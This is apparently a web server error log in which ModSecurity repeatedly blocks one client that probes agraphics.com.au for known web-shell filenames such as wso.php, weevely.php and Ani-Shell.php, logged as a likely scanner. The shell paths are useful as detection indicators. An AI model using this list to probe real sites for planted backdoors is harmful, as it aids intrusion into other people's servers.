[Sun Jan 11 20:42:14.340529 2026] [:error] [pid 5272:tid 5274] [client 4.247.164.63:36424] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOaplp55bCsukUvYGZ0aQAAAMA"]
[Sun Jan 11 20:42:15.027042 2026] [:error] [pid 5155:tid 5239] [client 4.247.164.63:36607] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOap1gEKFpNs0_zLGkedQAAAJc"]
[Sun Jan 11 20:42:15.451183 2026] [:error] [pid 5272:tid 5289] [client 4.247.164.63:31656] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOap1p55bCsukUvYGZ0agAAAM8"]
[Sun Jan 11 20:42:15.986941 2026] [:error] [pid 5272:tid 5288] [client 4.247.164.63:35358] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOap1p55bCsukUvYGZ0awAAAM4"]
[Sun Jan 11 20:42:16.492459 2026] [:error] [pid 35730:tid 35752] [client 4.247.164.63:53069] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple1.php"] [unique_id "aWOaqDi7U_mfHtESQHlbfAAAAdQ"]
[Sun Jan 11 20:42:16.784093 2026] [:error] [pid 35730:tid 35747] [client 4.247.164.63:35371] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple1.php"] [unique_id "aWOaqDi7U_mfHtESQHlbfQAAAc8"]
[Sun Jan 11 20:42:17.391136 2026] [:error] [pid 35730:tid 35755] [client 4.247.164.63:31635] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple1.php"] [unique_id "aWOaqTi7U_mfHtESQHlbfwAAAdc"]
[Sun Jan 11 20:42:17.853833 2026] [:error] [pid 35730:tid 35756] [client 4.247.164.63:53056] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple1.php"] [unique_id "aWOaqTi7U_mfHtESQHlbgAAAAdg"]
[Sun Jan 11 20:42:18.286447 2026] [:error] [pid 5272:tid 5281] [client 4.247.164.63:32421] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple2.php"] [unique_id "aWOaqlp55bCsukUvYGZ0bgAAAMc"]
[Sun Jan 11 20:42:18.749990 2026] [:error] [pid 35730:tid 35750] [client 4.247.164.63:35029] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple2.php"] [unique_id "aWOaqji7U_mfHtESQHlbgQAAAdI"]
[Sun Jan 11 20:42:19.278909 2026] [:error] [pid 5155:tid 5230] [client 4.247.164.63:37504] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple2.php"] [unique_id "aWOaq1gEKFpNs0_zLGkedwAAAI4"]
[Sun Jan 11 20:42:19.700955 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:31628] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple2.php"] [unique_id "aWOaqzi7U_mfHtESQHlbgwAAAcI"]
[Sun Jan 11 20:42:20.046878 2026] [:error] [pid 36611:tid 36616] [client 4.247.164.63:5832] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple3.php"] [unique_id "aWOarD8oZoZHsoTdjhhf2gAAAkM"]
[Sun Jan 11 20:42:20.441776 2026] [:error] [pid 5155:tid 5235] [client 4.247.164.63:32903] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple3.php"] [unique_id "aWOarFgEKFpNs0_zLGkeeAAAAJM"]
[Sun Jan 11 20:42:20.840962 2026] [:error] [pid 5272:tid 5297] [client 4.247.164.63:32931] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple3.php"] [unique_id "aWOarFp55bCsukUvYGZ0bwAAANc"]
[Sun Jan 11 20:42:21.226208 2026] [:error] [pid 36611:tid 36622] [client 4.247.164.63:39477] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple3.php"] [unique_id "aWOarT8oZoZHsoTdjhhf3AAAAkk"]
[Sun Jan 11 20:42:21.703561 2026] [:error] [pid 5272:tid 5291] [client 4.247.164.63:32922] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOarVp55bCsukUvYGZ0cAAAANE"]
[Sun Jan 11 20:42:22.283695 2026] [:error] [pid 36611:tid 36634] [client 4.247.164.63:32435] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOarj8oZoZHsoTdjhhf3QAAAlU"]
[Sun Jan 11 20:42:22.831307 2026] [:error] [pid 5272:tid 5290] [client 4.247.164.63:35382] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOarlp55bCsukUvYGZ0cQAAANA"]
[Sun Jan 11 20:42:23.207717 2026] [:error] [pid 5155:tid 5224] [client 4.247.164.63:37519] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOar1gEKFpNs0_zLGkeeQAAAIg"]
[Sun Jan 11 20:42:23.776457 2026] [:error] [pid 5155:tid 5232] [client 4.247.164.63:5870] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOar1gEKFpNs0_zLGkeegAAAJA"]
[Sun Jan 11 20:42:24.209523 2026] [:error] [pid 11748:tid 11799] [client 4.247.164.63:32405] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOasAC5xybrWOCNnoYAqQAAAZU"]
[Sun Jan 11 20:42:24.530187 2026] [:error] [pid 36611:tid 36636] [client 4.247.164.63:53070] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOasD8oZoZHsoTdjhhf3gAAAlc"]
[Sun Jan 11 20:42:25.013047 2026] [:error] [pid 35730:tid 35746] [client 4.247.164.63:35034] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aWOasTi7U_mfHtESQHlbiAAAAc4"]
[Sun Jan 11 20:42:25.551533 2026] [:error] [pid 35730:tid 35732] [client 4.247.164.63:35769] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diy.php"] [unique_id "aWOasTi7U_mfHtESQHlbigAAAcA"]
[Sun Jan 11 20:42:26.001622 2026] [:error] [pid 35730:tid 35749] [client 4.247.164.63:35721] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diy.php"] [unique_id "aWOasji7U_mfHtESQHlbiwAAAdE"]
[Sun Jan 11 20:42:26.390129 2026] [:error] [pid 35730:tid 35736] [client 4.247.164.63:31353] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diy.php"] [unique_id "aWOasji7U_mfHtESQHlbjAAAAcQ"]
[Sun Jan 11 20:42:26.789361 2026] [:error] [pid 35730:tid 35745] [client 4.247.164.63:35349] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diy.php"] [unique_id "aWOasji7U_mfHtESQHlbjQAAAc0"]
[Sun Jan 11 20:42:27.453064 2026] [:error] [pid 5272:tid 5287] [client 4.247.164.63:35756] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/weevely.php"] [unique_id "aWOas1p55bCsukUvYGZ0cgAAAM0"]
[Sun Jan 11 20:42:27.886204 2026] [:error] [pid 11747:tid 11755] [client 4.247.164.63:36565] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/weevely.php"] [unique_id "aWOas6RFw84LNpZSk7niBgAAAUQ"]
[Sun Jan 11 20:42:28.254443 2026] [:error] [pid 36611:tid 36619] [client 4.247.164.63:32911] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/weevely.php"] [unique_id "aWOatD8oZoZHsoTdjhhf4QAAAkY"]
[Sun Jan 11 20:42:28.559516 2026] [:error] [pid 36611:tid 36633] [client 4.247.164.63:53082] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/weevely.php"] [unique_id "aWOatD8oZoZHsoTdjhhf4gAAAlQ"]
[Sun Jan 11 20:42:29.051341 2026] [:error] [pid 5272:tid 5282] [client 4.247.164.63:36598] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatVp55bCsukUvYGZ0cwAAAMg"]
[Sun Jan 11 20:42:29.437166 2026] [:error] [pid 5272:tid 5275] [client 4.247.164.63:45252] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatVp55bCsukUvYGZ0dAAAAME"]
[Sun Jan 11 20:42:29.859035 2026] [:error] [pid 35977:tid 35994] [client 4.247.164.63:32412] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatbDST5RMqStLeP15JQAAAg4"]
[Sun Jan 11 20:42:30.219901 2026] [:error] [pid 35977:tid 36004] [client 4.247.164.63:31665] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatrDST5RMqStLeP15JgAAAhg"]
[Sun Jan 11 20:42:30.767818 2026] [:error] [pid 5272:tid 5294] [client 4.247.164.63:53080] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatlp55bCsukUvYGZ0dQAAANQ"]
[Sun Jan 11 20:42:31.084701 2026] [:error] [pid 5272:tid 5298] [client 4.247.164.63:36578] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOat1p55bCsukUvYGZ0dgAAANg"]
[Sun Jan 11 20:42:31.554369 2026] [:error] [pid 36611:tid 36628] [client 4.247.164.63:31673] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatz8oZoZHsoTdjhhf4wAAAk8"]
[Sun Jan 11 20:42:31.948821 2026] [:error] [pid 5152:tid 5171] [client 4.247.164.63:35329] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aWOatxm0axGMFrpuXHCVuwAAAAk"]
[Sun Jan 11 20:42:32.388271 2026] [:error] [pid 5153:tid 5195] [client 4.247.164.63:45260] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ani-Shell.php"] [unique_id "aWOauM1QbNSPD9bRi77JjQAAAEY"]
[Sun Jan 11 20:42:32.731057 2026] [:error] [pid 5153:tid 5212] [client 4.247.164.63:39437] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ani-Shell.php"] [unique_id "aWOauM1QbNSPD9bRi77JjgAAAFc"]
[Sun Jan 11 20:42:33.118361 2026] [:error] [pid 5153:tid 5201] [client 4.247.164.63:35735] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ani-Shell.php"] [unique_id "aWOauc1QbNSPD9bRi77JjwAAAEw"]
[Sun Jan 11 20:42:33.468398 2026] [:error] [pid 11747:tid 11760] [client 4.247.164.63:35765] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ani-Shell.php"] [unique_id "aWOauaRFw84LNpZSk7niCAAAAUk"]
[Sun Jan 11 20:42:33.855775 2026] [:error] [pid 11748:tid 11800] [client 4.247.164.63:35770] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cccpshell%20dev.php"] [unique_id "aWOauQC5xybrWOCNnoYArAAAAZY"]
[Sun Jan 11 20:42:34.234267 2026] [:error] [pid 11748:tid 11791] [client 4.247.164.63:35364] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cccpshell%20dev.php"] [unique_id "aWOaugC5xybrWOCNnoYArQAAAY0"]
[Sun Jan 11 20:42:34.568232 2026] [:error] [pid 36611:tid 36624] [client 4.247.164.63:5887] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cccpshell%20dev.php"] [unique_id "aWOauj8oZoZHsoTdjhhf5AAAAks"]
[Sun Jan 11 20:42:35.049422 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:39455] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cccpshell%20dev.php"] [unique_id "aWOau1p55bCsukUvYGZ0eAAAAMk"]
[Sun Jan 11 20:42:35.462414 2026] [:error] [pid 5152:tid 5170] [client 4.247.164.63:36548] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/any.php"] [unique_id "aWOauxm0axGMFrpuXHCVvAAAAAg"]
[Sun Jan 11 20:42:35.863948 2026] [:error] [pid 35977:tid 35991] [client 4.247.164.63:31649] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/any.php"] [unique_id "aWOau7DST5RMqStLeP15JwAAAgs"]
[Sun Jan 11 20:42:36.239491 2026] [proxy_fcgi:error] [pid 5155:tid 5225] [client 4.247.164.63:38910] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:42:37.143884 2026] [proxy_fcgi:error] [pid 5155:tid 5227] [client 4.247.164.63:38910] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:42:37.437747 2026] [proxy_fcgi:error] [pid 5155:tid 5237] [client 4.247.164.63:38910] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:42:37.600324 2026] [proxy_fcgi:error] [pid 5155:tid 5222] [client 4.247.164.63:38910] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:42:37.752890 2026] [proxy_fcgi:error] [pid 5155:tid 5219] [client 4.247.164.63:38910] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:42:37.893809 2026] [:error] [pid 5155:tid 5218] [client 4.247.164.63:38910] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWOavVgEKFpNs0_zLGkeiAAAAII"]
[Sun Jan 11 20:42:38.448461 2026] [:error] [pid 11748:tid 11787] [client 4.247.164.63:36569] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWOavgC5xybrWOCNnoYArwAAAYk"]
[Sun Jan 11 20:42:38.987072 2026] [:error] [pid 11747:tid 11756] [client 4.247.164.63:35388] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWOavqRFw84LNpZSk7niDQAAAUU"]
[Sun Jan 11 20:42:39.416877 2026] [:error] [pid 35730:tid 35752] [client 4.247.164.63:35366] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWOavzi7U_mfHtESQHlbpwAAAdQ"]
[Sun Jan 11 20:42:39.745569 2026] [:error] [pid 5152:tid 5164] [client 4.247.164.63:35748] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aWOavxm0axGMFrpuXHCVvgAAAAI"]
